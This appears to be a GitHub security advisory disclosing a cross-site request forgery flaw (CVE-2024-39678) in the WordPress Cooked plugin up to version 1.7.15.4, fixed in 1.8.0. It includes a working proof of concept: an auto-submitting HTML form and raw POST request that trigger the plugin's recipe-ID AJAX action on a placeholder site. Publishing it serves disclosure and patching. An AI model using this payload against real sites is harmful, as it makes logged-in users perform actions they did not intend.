Skip to content

WordPress Cooked Plugin <= 1.7.15.4 - Cross-Site Request Forgery to Get Recipe IDs

Moderate
XjSv published GHSA-pp3h-ghxf-r9pc Jul 17, 2024

Package

No package listed

Affected versions

<= 1.7.15.4

Patched versions

1.8.0

Description

Description:

The Cooked plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to, and including, 1.7.15.4 due to missing or incorrect nonce validation on the AJAX action handler. This vulnerability could allow an attacker to trick users into performing an action they didn't intend to perform under their current authentication.

Steps to reproduce:

<html>
	<!-- CSRF PoC - Get Recipe IDs -->
	<body>
		<form action="https://target.tld/wp-admin/admin-ajax.php" method="POST">
			<input type="hidden" name="action" value="cooked&#95;get&#95;recipe&#95;ids" />
			<input type="submit" value="Submit request" />
		</form>
		<script>
			history.pushState('', '', '/');
			document.forms[0].submit();
		</script>
	</body>
</html>

PoC request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.tld
Cookie: [cookies]
Content-Length: 28
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0

action=cooked_get_recipe_ids

Severity

Moderate
4.3
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

CVE ID

CVE-2024-39678

Weaknesses

Credits